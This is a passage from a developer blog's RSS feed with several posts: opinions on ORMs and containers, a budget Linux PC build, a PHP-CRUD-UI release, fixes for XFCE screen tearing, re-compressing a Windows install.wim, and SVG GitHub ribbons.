<p>People use a DBAL (DataBase Abstraction Layer) and/or ORM (Object Relational
Mapper) to not having to write SQL or (heaven forbid) stored procedures. I have
not seen this work out well for a few reasons. Developers need to be familiar
with SQL to be able to write efficient queries in large systems. If you don&rsquo;t
know exactly what SQL is executed, because you use an ORM, you can easily make a
(performance) mistake. I have also seen many very expensive algorithms that
could have been replaced with a rather cheap and simple stored procedure. But
apparently stored procedures are not &ldquo;cool&rdquo; anymore and reasons given are the
database independence and that supposedly code does not belong in the database.
This last thing may be somewhat true, but with some proper versioning you can
achieve a lot. On the database independence I can say that the independence is
almost never achieved and you are constantly paying the price, so this is really
a case of YAGNI (You Aint Gonna Need It).</p>
<h3 id="6-containers-in-production">6. Containers in production</h3>
<p>Unless you run a shared hosting shop at a competitive price level you are either
a) running tasks that are larger than one machine or b) in need of better
isolation than containers can offer you. If your whole application fits in a
single (virtual) machine, then why don&rsquo;t you serve it on a single machine (the
costs can hardly be the problem)? If it is larger than a single machine then you
don&rsquo;t need containers, you just need more machines. Of you need proper isolation
or reproduction of a test environment then why not use virtual machines? They
isolate better at only slightly higher costs. Also they can run correct kernel
versions for your test environment and have all the required services running in
the operating system. I see a lot people use container technology for it&rsquo;s
cluster orchestration. This is complete non-sense and has nothing to do with
containers. We already had perfectly fine orchestration tools.</p>
<h3 id="7-buying-virtualized-products-at-scale">7. Buying virtualized products at scale</h3>
<p>So you have scaling ambitions with your web product? Great. Big web services
like Wikipedia are renting racks (with bought or rented hardware), not VMs and
managed databases. So are other large websites and for two good reasons:
dependency and money. Depending on virtualized hardware provider is setting
yourself up for failure when you scale. It reduces your ability to benefit early
on from &ldquo;economy of scale&rdquo; and hurts your growth. Amazon will hardly give you
any discount, even when you do considerate revenue on their platform (I&rsquo;ve seen
50k/month go at list price). A lot of knowledge, processes and people are bound
to the virtualized technology you buy from your vendor. Hardware from these
vendors is not unlimited either, that is a myth. Read about &ldquo;soft limits&rdquo; and
how you need to request upgrades of these limits by email (they will add some
hardware for you). It will be costly to switch away from your vendor and to
learn the tech needed to run your own services. I often speak with engineers
that think that 1k IOPS as Amazon provides on their &ldquo;SSD&rdquo; storage is a normal
amount, while a consumer NVMe disk does 300k.</p>
<h3 id="be-better">Be better!</h3>
<p>Think about the above technology choices and experiment. Dare to challenge the
fundamentals and explore unpopular opinions. Worst thing that could happen is
that you become a better web developer.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Linux dream machine under 900 euro (v2)</title>
      <link>https://www.tqdev.com/2019-linux-dream-machine-under-900-euro-v2/</link>
      <pubDate>Fri, 29 Mar 2019 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-linux-dream-machine-under-900-euro-v2/</guid>
      <description>&lt;p&gt;My previous post of a
&lt;a href=&#34;https://tqdev.com/2019-linux-dream-machine-under-900-euro&#34;&gt;Linux dream machine under 900 euro&lt;/a&gt;
received quite some attention. Yesterday I have built an even more powerful
machine and again under 900 euro. This built hits a sweet-spot between price and
performance and that&amp;rsquo;s why I&amp;rsquo;ve dubbed it &amp;ldquo;v2&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;NB: This article is based on my own experience and not sponsored in any way.&lt;/p&gt;
&lt;p&gt;Note: I&amp;rsquo;m a programmer, not a gamer. Read the original
&lt;a href=&#34;https://tqdev.com/2019-linux-dream-machine-under-900-euro&#34;&gt;Linux dream machine under 900 euro&lt;/a&gt;
for a little more background information on my use case.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>My previous post of a
<a href="https://tqdev.com/2019-linux-dream-machine-under-900-euro">Linux dream machine under 900 euro</a>
received quite some attention. Yesterday I have built an even more powerful
machine and again under 900 euro. This built hits a sweet-spot between price and
performance and that&rsquo;s why I&rsquo;ve dubbed it &ldquo;v2&rdquo;.</p>
<p>NB: This article is based on my own experience and not sponsored in any way.</p>
<p>Note: I&rsquo;m a programmer, not a gamer. Read the original
<a href="https://tqdev.com/2019-linux-dream-machine-under-900-euro">Linux dream machine under 900 euro</a>
for a little more background information on my use case.</p>
<h3 id="better-specifications">Better specifications</h3>
<p>This build has a 3.6Ghz quad core instead of a 3.2Ghz dual core CPU (2400G vs.
200GE). It has a (faster) QLC based 1TB NVMe instead of a (more reliable) TLC
based 500GB SATA (Intel 660p vs. Samsung 860 EVO). Other than that I&rsquo;ve chosen a
less expensive (just released) AOC monitor with FreeSync technology that the
Ilyama was lacking. The power supply is a bit more powerful (500W vs. 450W).
This time I have chosen a RGB LED (instead of blue LED) version of the Sharkoon
PureWriter keyboard and as a bonus it also costs less.</p>
<pre><code> 15 EUR - Dell USB-Laser Mouse - Mouse
 49 EUR - Sharkoon PureWriter TKL RGB - Keyboard
 65 EUR - Be quiet! Pure Power 11 500W - Power supply
 69 EUR - ASRock AB350M Pro4 - Motherboard
 75 EUR - Edifier R1100 - Speakers 
 81 EUR - Cooler Master Silencio 550 - Mid-tower case
 89 EUR - Corsair Vengeance LPX 2x8GB DDR4 - Memory
118 EUR - Intel 660p 1TB NVMe - Solid state drive
139 EUR - AMD Ryzen5 2400G with cooler - Processor
199 EUR - AOC Q3279VWFD8 32&quot; WQHD IPS - Monitor
--------
899 EUR (including VAT)
</code></pre>
<p>NB: The above prices are based on the offering of Dutch web-shops for PC parts,
such as &ldquo;Azerty&rdquo; and &ldquo;Alternate&rdquo;, at the time of writing of this post.</p>
<h3 id="feels-2x-faster">Feels 2x faster</h3>
<p>The computer feels really faster, but that&rsquo;s no surprise: it has twice the
processor cores at a higher clock-speed. The disk has three times the throughput
on both read and write and twice the capacity. The money I&rsquo;ve spent on a faster
processor and disk was saved on the memory, keyboard and monitor. The memory and
keyboard are less expensive for similar specifications, while the monitor is
lacking a height adjustable stand. The other relevant trade-off is the disk with
higher performance and lower durability. I feel it is acceptable, but please
make sure you have a healthy backup strategy.</p>
<h3 id="reasoning">Reasoning</h3>
<p>The laser <strong>mouse</strong> was chosen for it&rsquo;s ridiculous low price. The <strong>power
supply</strong> is quiet and has limited capacity (500 Watt), but in this setup it will
suffice. The <strong>processor</strong> is a trade-off between power and price (a quad-core
at 3.6 Ghz). Note that the CPU also has a <strong>video card</strong> built-in and that it
comes packaged with a decent <strong>CPU fan</strong>. The <strong>keyboard</strong> is not only one of
the cheapest RGB back-lit mechanical keyboards, it also one of the thinnest,
which is really nice for your wrist angle. The <strong>motherboard</strong> sports two M.2
slots (one for NVMe and one for mSATA) and also supports 64 GB of RAM. Note that
<strong>WiFi</strong> and <strong>Bluetooth</strong> are missing (as I like it). The <strong>speakers</strong> sound
and look good, are powerful (42W) and have a rotary knob for the bass level (I
don&rsquo;t like heavy bass). The <strong>computer case</strong> is padded to be extra quiet. The
<strong>SSD</strong> is big, super fast (1800MB/sec read/write) and inexpensive. This is
possible because of the new QLC technology in combination with M2 NVMe slot. The
<strong>memory</strong> was chosen for it&rsquo;s low price. The <strong>monitor</strong> has a WQHD (2560
x 1440) IPS screen with great colors from all angles, while being large (32
inch) and even supporting FreeSync at a price that is just crazy low.</p>
<h3 id="upgrades">Upgrades</h3>
<p>Potential upgrades are a AMD Ryzen 7 2700X octa-core 3.7 GHz processor (now 320
EUR) 64GB DDR4 memory (now 340 EUR) a Geforce/Radeon video card (around 300-500
EUR) and a Samsung 970 EVO 2TB NVMe SSD (now 480 EUR) and one or more Seagate 12
TB hard drives (now 430 EUR/piece). If you do these upgrades you probably also
want to have the Seasonic PRIME Ultra Titanium 750W power supply (now 190 EUR)
to feed this monster it&rsquo;s electricity. These upgrades could easily triple the
price of this system and you can easily do without them (for now). It is
expected that these upgrades are more affordable in a few years and that you can
apply them when needed.</p>
<h3 id="final-words">Final words</h3>
<p>I had no trouble installing the latest Ubuntu 18.10 on this hardware. If you are
trying older kernels, be aware that you are running on really new hardware that
may not yet be supported.</p>
<p>With the above shopping list you should be able to quickly buy all the parts.
Putting it all together took me an hour, but I have some experience building
computers, so be warned.</p>
<p>It was a lot of fun to build the computer and I&rsquo;m really impressed with the
price/performance ratio of the machine. I feel that computers with similar
specifications from premium vendors like Dell or HP are roughly twice as
expensive.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-UI updated to v2</title>
      <link>https://www.tqdev.com/2019-php-crud-ui-updated-to-v2/</link>
      <pubDate>Wed, 13 Mar 2019 04:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-php-crud-ui-updated-to-v2/</guid>
      <description>&lt;p&gt;Okay, so I finally updated my two automatic CRUD-UI projects to v2 of
PHP-CRUD-API. One is written in Vue 2.6 with Bootstrap 4 and the other in PHP 7
with Bootstrap 3. The result may not be directly usable as a custom web
application, but it may provide you with a quick start or as an admin interface.&lt;/p&gt;
&lt;h3 id=&#34;use-case&#34;&gt;Use case&lt;/h3&gt;
&lt;p&gt;When you are building a mobile or web app you often need to store some data
centrally on a server. This is typically done using an API and a database. After
creating the tables in your favorite database technology (MySQL, PostgreSQL or
SQL Server) you can upload and configure &amp;ldquo;api.php&amp;rdquo; from the
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; project. This gives
you an API that allows you to do CRUD (Create Read Update and Delete) operations
on your data. In order to manage the data you need an admin user interface
interface. Uploading and configuring the &amp;ldquo;ui.php&amp;rdquo; file from the
&lt;a href=&#34;https://github.com/mevdschee/php-crud-ui&#34;&gt;PHP-CRUD-UI&lt;/a&gt; project will give you
this instant admin interface.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Okay, so I finally updated my two automatic CRUD-UI projects to v2 of
PHP-CRUD-API. One is written in Vue 2.6 with Bootstrap 4 and the other in PHP 7
with Bootstrap 3. The result may not be directly usable as a custom web
application, but it may provide you with a quick start or as an admin interface.</p>
<h3 id="use-case">Use case</h3>
<p>When you are building a mobile or web app you often need to store some data
centrally on a server. This is typically done using an API and a database. After
creating the tables in your favorite database technology (MySQL, PostgreSQL or
SQL Server) you can upload and configure &ldquo;api.php&rdquo; from the
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> project. This gives
you an API that allows you to do CRUD (Create Read Update and Delete) operations
on your data. In order to manage the data you need an admin user interface
interface. Uploading and configuring the &ldquo;ui.php&rdquo; file from the
<a href="https://github.com/mevdschee/php-crud-ui">PHP-CRUD-UI</a> project will give you
this instant admin interface.</p>
<h3 id="functionality">Functionality</h3>
<p>Navigation, viewing, editing and deleting of the data is supported. The
relationships of the various data tables are exposed with custom properties in
the open API specification. This allows the user interface to show drop-down
inputs for foreign key values and to filter related tables on relevant records.
Because the exposed open API specification reflects the security model, the
applied security model is also reflected in the user interface.</p>
<h3 id="missing-features">Missing features</h3>
<p>Now there are many things that are missing and could be added, for instance:</p>
<ul>
<li>Documentation for basic usage and modification.</li>
<li>Authentication support (basic authentication and JWT).</li>
<li>Pagination with various page sizes (and enable it by default).</li>
<li>Base the input type on the field type (support date picker).</li>
<li>Ordering of results by clicking table headers.</li>
<li>Filtering on any column and value, with any operator.</li>
<li>Configurable set of columns in list view.</li>
<li>Configurable display columns for foreign key values.</li>
<li>Generator of specific form code, so it can be customized.</li>
<li>Easy customizable colors, fonts and logos.</li>
</ul>
<p>This list is not exhaustive, but these are definitely required to make it a nice
admin interface.</p>
<h3 id="vue-variant">Vue variant</h3>
<p>My dear friend Mark ported the PHP-CRUD-UI to Vue (and named it
&ldquo;<a href="https://github.com/nlware/vue-crud-ui">vue-crud-api</a>&rdquo; and I also updated this
port to be compatible with PHP-CRUD-API v2. I loved doing that and I learned a
thing or two about web application development in Vue. Because I also upgraded
to Bootstrap 4, I also learned the differences between Bootstrap 3 and 4. Things
that come to mind are: no more &ldquo;extra small&rdquo; elements and there is no longer a
&ldquo;well&rdquo; component.</p>
<h3 id="open-source">Open source</h3>
<p>All the code is available for you to play with. It is MIT licensed and published
on Github. If you have feedback, then please do use the Github issues and I
promise to give you a reply.</p>
<p>See:
<a href="https://github.com/mevdschee/php-crud-ui">https://github.com/mevdschee/php-crud-ui</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to fix screen tearing in XFCE</title>
      <link>https://www.tqdev.com/2019-how-to-fix-screen-tearing-in-xfce/</link>
      <pubDate>Thu, 28 Feb 2019 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-how-to-fix-screen-tearing-in-xfce/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m running Xubuntu (Ubuntu with XFCE) on my desktop(s). My Intel NUC i7 has
almost no visible screen tearing when scrolling or when playing YouTube videos.
My new Athlon 200GE build
(&lt;a href=&#34;https://tqdev.com/2019-linux-dream-machine-under-900-euro&#34;&gt;more information&lt;/a&gt;)
does suffer from visible screen tearing when scrolling web pages or displaying
fast moving video. I have found several ways to remove or reduce this ugly video
artifact.&lt;/p&gt;
&lt;h3 id=&#34;what-is-screen-tearing&#34;&gt;What is screen tearing?&lt;/h3&gt;
&lt;p&gt;I have found the following clear definition:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m running Xubuntu (Ubuntu with XFCE) on my desktop(s). My Intel NUC i7 has
almost no visible screen tearing when scrolling or when playing YouTube videos.
My new Athlon 200GE build
(<a href="https://tqdev.com/2019-linux-dream-machine-under-900-euro">more information</a>)
does suffer from visible screen tearing when scrolling web pages or displaying
fast moving video. I have found several ways to remove or reduce this ugly video
artifact.</p>
<h3 id="what-is-screen-tearing">What is screen tearing?</h3>
<p>I have found the following clear definition:</p>
<blockquote>
<p>Screen tearing is a visual artifact in video display where a display device
shows information from multiple frames in a single screen draw.
(<a href="https://en.wikipedia.org/wiki/Screen_tearing">source</a>)</p></blockquote>
<p>It shows as one or more horizontal lines on your screen while watching video or
scrolling a web page.</p>
<h3 id="options-to-reduce-tearing">Options to reduce tearing</h3>
<p>These are the options I&rsquo;ve found to reduce tearing
(<a href="https://forum.xfce.org/viewtopic.php?id=9407">source</a>):</p>
<ol>
<li>There is a &ldquo;Synchronize drawing to the vertical blank&rdquo; setting in &ldquo;Settings
Manager &raquo; Window Manager Tweaks &raquo; Compositor tab&rdquo;. Selecting that, and
logging out and back in again, could make a difference.</li>
<li>Some have had success using Compton instead of XFWM4 as the window manager
when it comes to tearing. Check out
<a href="https://www.maketecheasier.com/get-rid-screen-tearing-linux/">this post</a> to
see how to use Compton to reduce tearing.</li>
<li>Nvidia users can set the option &ldquo;nvidia_XXX_drm modeset=1&rdquo; to enable the
VSync as described
<a href="https://devtalk.nvidia.com/default/topic/1029916/linux/video-tearing-with-geforce-gtx-1050/">here</a>
and reported
<a href="https://www.reddit.com/r/linuxquestions/comments/8fb9oj/how_to_fix_screen_tearing_ubuntu_1804_nvidia_390/">here</a>.</li>
</ol>
<h3 id="my-results">My results</h3>
<p>The first option is the easiest and it had a very positive effect on my Athlon
200GE build. The second option is also easy to test, but it didn&rsquo;t help much on
my hardware (or I was applying the wrong settings in Compton). I didn&rsquo;t try the
third option (as I am not running the Nvidia driver), but people
<a href="https://www.reddit.com/r/linuxquestions/comments/8fb9oj/how_to_fix_screen_tearing_ubuntu_1804_nvidia_390/">report on Reddit</a>
that it makes a big difference.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Screen_tearing">Definition of screen tearing | Wikipedia</a></li>
<li><a href="https://forum.xfce.org/viewtopic.php?id=9407">Screen tearing | XFCE forum</a></li>
<li><a href="https://www.maketecheasier.com/get-rid-screen-tearing-linux/">Get rid of screen tearing in Linux | MakeTechEasier</a></li>
<li><a href="https://devtalk.nvidia.com/default/topic/1029916/linux/video-tearing-with-geforce-gtx-1050/">Video Tearing with Geforce GTX 1050 | Nvidia DevTalk</a></li>
<li><a href="https://www.reddit.com/r/linuxquestions/comments/8fb9oj/how_to_fix_screen_tearing_ubuntu_1804_nvidia_390/">How to fix screen tearing? Ubuntu 18.04, Nvidia 390 | Reddit</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Cannot copy Windows 10 &#34;install.wim&#34;?</title>
      <link>https://www.tqdev.com/2019-cannot-copy-windows-10-install-wim/</link>
      <pubDate>Wed, 20 Feb 2019 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-cannot-copy-windows-10-install-wim/</guid>
      <description>&lt;p&gt;Running Windows 10 is not that bad these days (I am a Linux user). It is a fast
and stable operating system. Unfortunately it comes bundled with a lot of
software that you do NOT want. To remove this unwanted software it is
recommended to do a &amp;ldquo;clean install&amp;rdquo; of Windows 10. While doing this you may run
into the problem that you can&amp;rsquo;t copy the &amp;ldquo;install.wim&amp;rdquo; file, because it is
larger than 4Gb. This post has a solution to that problem.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Running Windows 10 is not that bad these days (I am a Linux user). It is a fast
and stable operating system. Unfortunately it comes bundled with a lot of
software that you do NOT want. To remove this unwanted software it is
recommended to do a &ldquo;clean install&rdquo; of Windows 10. While doing this you may run
into the problem that you can&rsquo;t copy the &ldquo;install.wim&rdquo; file, because it is
larger than 4Gb. This post has a solution to that problem.</p>
<p><a href="https://tqdev.com/2025-cannot-copy-windows-11-install-wim"><strong>Are you installing Windows 11?</strong> Read the new article!</a></p>
<h3 id="clean-windows-install">Clean Windows install</h3>
<p>When I get a new PC (like my awesome passive cooled Acer Swift 1 laptop) I like
to do a clean Windows 10 install. This removes the manufacturers bundled
software. Since this laptop supports secure UEFI boot it should be as easy as
initializing a USB drive with a &ldquo;GPT partition table&rdquo; and creating a FAT32
partition with the contents of the installation ISO (you can just copy the
files). In UEFI boot there is no need for changes to the &ldquo;Master Boot Record&rdquo; or
for a &ldquo;boot flag&rdquo; on the partition.</p>
<p>Note that a clean install also removes the bundled drivers from your system.
This may prove cumbersome when the latest version of Windows does not support
your Wifi or Ethernet port (you may need to transfer them using an USB stick).</p>
<h3 id="re-compressing-installwim">Re-compressing install.wim</h3>
<p>In order to be able to write an ISO to a FAT32 partition there may be no file
bigger than 4 gigabyte. This is a problem, as in the latest Windows 10 the
&ldquo;sources/install.wim&rdquo; file is 4.4 Gb in size. We can work around this problem by
re-compressing this file with a stronger compression (for which decompression is
supported by the Windows 10 installer). The compression options and there
compression factors are described on
<a href="https://wimlib.net/compression.html">wimlib.net</a>. We are going to use &ldquo;solid&rdquo;
as this is the best compression available.</p>
<h3 id="getting-the-official-windows-10-iso-image">Getting the official Windows 10 ISO image</h3>
<p>You can download the official Windows 10 ISO image from Microsoft by visiting:</p>
<p><a href="https://www.microsoft.com/en-us/software-download/windows10ISO">https://www.microsoft.com/en-us/software-download/windows10ISO</a></p>
<p>But you must be on Linux (or pretend to be, using a &ldquo;user-agent switcher&rdquo;) to
download the file.</p>
<h3 id="preparing-the-iso-image-on-linux">Preparing the ISO image (on Linux)</h3>
<p>In Ubuntu you can just right click any ISO image and &ldquo;unpack&rdquo; it to a folder.
Find the &ldquo;sources&rdquo; folder in the unpacked ISO, enter it and right-click and
choose &ldquo;Open Terminal Here&rdquo;. In this terminal you need to run one command:</p>
<pre><code>wimlib-imagex optimize install.wim --solid
</code></pre>
<p>If you have not got this tool yet you may have to install WimLib tools first:</p>
<pre><code>sudo apt install wimtools
</code></pre>
<p>On my machine this was the output (I ran it with &ldquo;time&rdquo; so that you can see how
long it took):</p>
<pre><code>$ time wimlib-imagex optimize install.wim --solid
&quot;install.wim&quot; original size: 4253057 KiB
Using LZMS compression with 4 threads
Archiving file data: 9344 MiB of 9344 MiB (100%) done
&quot;install.wim&quot; optimized size: 3175915 KiB
Space saved: 1077141 KiB

real  36m26,364s
user  127m4,804s
sys	   0m10,063s
</code></pre>
<p>After waiting more than half an hour my files were ready to be copied onto the
FAT32 partition of my USB drive (that has a GPT partition table). Next I
rebooted, chose the USB drive in the Boot menu and the Windows 10 installation
started (without the need to disable &ldquo;secure boot&rdquo;).</p>
<h3 id="preparing-the-iso-image-on-windows">Preparing the ISO image (on Windows)</h3>
<p>On Windows you can use the &ldquo;DISM.exe&rdquo; tool to re-compress the &ldquo;install.wim&rdquo;
file. Right-click the &ldquo;Command Prompt&rdquo; in the &ldquo;Start Menu&rdquo; and choose &ldquo;Run as
Administrator&rdquo; and then use the &ldquo;cd&rdquo; command to change to the directory where
your ISO contents are copied. You should rename the original &ldquo;install.wim&rdquo; to
&ldquo;install.wim.org&rdquo; first. Then you can re-compress &ldquo;install.wim.org&rdquo; to
&ldquo;install.wim&rdquo; using:</p>
<pre><code>dism /export-image /sourceimagefile:install.wim.org /sourceindex:1 /destinationimagefile:install.wim /compress:recovery
</code></pre>
<p>After successful re-compression you may remove the &ldquo;install.wim.org&rdquo; file. Note
that &ldquo;recovery&rdquo; is the name in DISM for the &ldquo;solid&rdquo; compression level in WimLib.</p>
<h3 id="alternative-fat32-and-ntfs-combined-with-eicfg">Alternative: FAT32 and NTFS combined with &ldquo;ei.cfg&rdquo;</h3>
<p>There is an alternative multi-partition method that does not require UEFI NTFS
drivers
(<a href="https://www.tenforums.com/tutorials/118137-create-bootable-usb-installer-if-install-wim-greater-than-4gb.html">source</a>).
It removes the time consuming step of re-compressing and also supports secure
boot. It requires you to create both a FAT32 and a NTFS partition and have a GPT
partition table. On the FAT32 partition you need to copy everything but the
contents of the &ldquo;sources&rdquo; folder (do create an empty &ldquo;sources&rdquo; folder). Also
copy all the contents of the ISO to the NTFS partition. In the &ldquo;sources&rdquo; folder
on the NTFS partition you need to add a new file named &ldquo;ei.cfg&rdquo; with the
following contents:</p>
<pre><code>[CHANNEL]
Retail
</code></pre>
<p>The Windows installation will start on the FAT32 partition, but when
encountering the empty &ldquo;sources&rdquo; folder it will look for the &ldquo;sources/ei.cfg&rdquo;
file on the NTFS partition and continue the installation without any prompts.</p>
<h3 id="bonus-remove-microsoft-bundled-software">Bonus: remove Microsoft bundled software</h3>
<p>After doing this you can uninstall everything on the start menu and from &ldquo;add or
remove programs&rdquo; that Microsoft allows you to uninstall. No worries, it won&rsquo;t
allow you to uninstall things that are needed for normal operation of the
operating system. In the Windows 10 October 2018 release you can even uninstall
OneDrive!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.tenforums.com/tutorials/118137-create-bootable-usb-installer-if-install-wim-greater-than-4gb.html">Create bootable USB installer if install.wim is greater than 4GB | TenForums</a></li>
<li><a href="https://wimlib.net/compression.html">Compression algorithms | WimLib.net</a></li>
<li><a href="https://tqdev.com/2016-creating-bootable-windows-10-usb-ubuntu">Creating a bootable Windows 10 USB on Ubuntu | TQdev.com</a></li>
<li><a href="https://tqdev.com/2016-windows-10-clean-install">Windows 10 clean install | TQdev.com</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>&#39;Fork me on GitHub&#39; SVG ribbons</title>
      <link>https://www.tqdev.com/2019-fork-me-on-github-svg-ribbons/</link>
      <pubDate>Tue, 29 Jan 2019 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-fork-me-on-github-svg-ribbons/</guid>
      <description>&lt;p&gt;Ten years ago, Tom Preston‐Werner released his iconic &amp;lsquo;Fork me on GitHub&amp;rsquo;
banners (&lt;a href=&#34;https://github.blog/2008-12-19-github-ribbons/&#34;&gt;original post&lt;/a&gt;). 6
years ago Aral Balkan made
&lt;a href=&#34;https://2018.ar.al/scribbles/fork-me-on-github-retina-ribbons/&#34;&gt;high-res versions&lt;/a&gt;
for retina displays. In this post you find the SVG versions that were created
for &lt;a href=&#34;https://www.invoicelion.com&#34;&gt;InvoiceLion.com&lt;/a&gt; (a project I&amp;rsquo;m working on).&lt;/p&gt;
&lt;h3 id=&#34;usage-see-upper-right-corner&#34;&gt;Usage (see upper-right corner)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/Usecue/fork-me-on-github-svg-ribbons&#34;&gt;&lt;img src=&#34;https://www.tqdev.com/github-ribbons/forkme_right_red_aa0000.svg&#34; style=&#34;position:absolute;top:0;right:0;&#34; alt=&#34;Fork me on GitHub&#34;&gt;&lt;/a&gt;
Here are the &amp;lsquo;Fork me on GitHub&amp;rsquo; ribbons in SVG. You may save the SVG file using
right-click and &amp;ldquo;Save Image As&amp;rdquo; and use the HTML next to it. Alternatively you
can download &lt;a href=&#34;https://www.tqdev.com/github-ribbons/github-ribbons.zip&#34;&gt;github-ribbons.zip&lt;/a&gt; containing
the HTML page and all the SVG files.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Ten years ago, Tom Preston‐Werner released his iconic &lsquo;Fork me on GitHub&rsquo;
banners (<a href="https://github.blog/2008-12-19-github-ribbons/">original post</a>). 6
years ago Aral Balkan made
<a href="https://2018.ar.al/scribbles/fork-me-on-github-retina-ribbons/">high-res versions</a>
for retina displays. In this post you find the SVG versions that were created
for <a href="https://www.invoicelion.com">InvoiceLion.com</a> (a project I&rsquo;m working on).</p>
<h3 id="usage-see-upper-right-corner">Usage (see upper-right corner)</h3>
<p><a href="https://github.com/Usecue/fork-me-on-github-svg-ribbons"><img src="/github-ribbons/forkme_right_red_aa0000.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a>
Here are the &lsquo;Fork me on GitHub&rsquo; ribbons in SVG. You may save the SVG file using
right-click and &ldquo;Save Image As&rdquo; and use the HTML next to it. Alternatively you
can download <a href="/github-ribbons/github-ribbons.zip">github-ribbons.zip</a> containing
the HTML page and all the SVG files.</p>
<img src="/github-ribbons/forkme_left_red_aa0000.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_left_red_aa0000.svg" style="position:absolute;top:0;left:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_left_green_007200.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_left_green_007200.svg" style="position:absolute;top:0;left:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_left_darkblue_121621.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_left_darkblue_121621.svg" style="position:absolute;top:0;left:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_left_orange_ff7600.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_left_orange_ff7600.svg" style="position:absolute;top:0;left:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_left_gray_6d6d6d.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_left_gray_6d6d6d.svg" style="position:absolute;top:0;left:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_left_white_ffffff.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_left_white_ffffff.svg" style="position:absolute;top:0;left:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_right_red_aa0000.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_right_red_aa0000.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_right_green_007200.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_right_green_007200.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_right_darkblue_121621.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_right_darkblue_121621.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_right_orange_ff7600.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_right_orange_ff7600.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_right_gray_6d6d6d.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_right_gray_6d6d6d.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a></textarea><br/>
<img src="/github-ribbons/forkme_right_white_ffffff.svg" />
<textarea style="font-size: 75%;background-color:#eee;border:none;margin:5px;padding:10px;width:50%;height:129px;resize:none;"><a href="https://github.com/you"><img src="forkme_right_white_ffffff.svg" style="position:absolute;top:0;right:0;" alt="Fork me on GitHub"></a></textarea><br/>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP templating in 165 lines of code</title>
      <link>https://www.tqdev.com/2019-php-templating-engine-in-165-lines/</link>
      <pubDate>Fri, 25 Jan 2019 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-php-templating-engine-in-165-lines/</guid>
      <description>&lt;p&gt;Instead of choosing &lt;a href=&#34;https://github.com/twigphp/Twig&#34;&gt;Twig&lt;/a&gt;,
&lt;a href=&#34;https://github.com/bobthecow/mustache.php&#34;&gt;Mustache&lt;/a&gt; or
&lt;a href=&#34;https://github.com/smarty-php/smarty&#34;&gt;Smarty&lt;/a&gt; as PHP templating language I
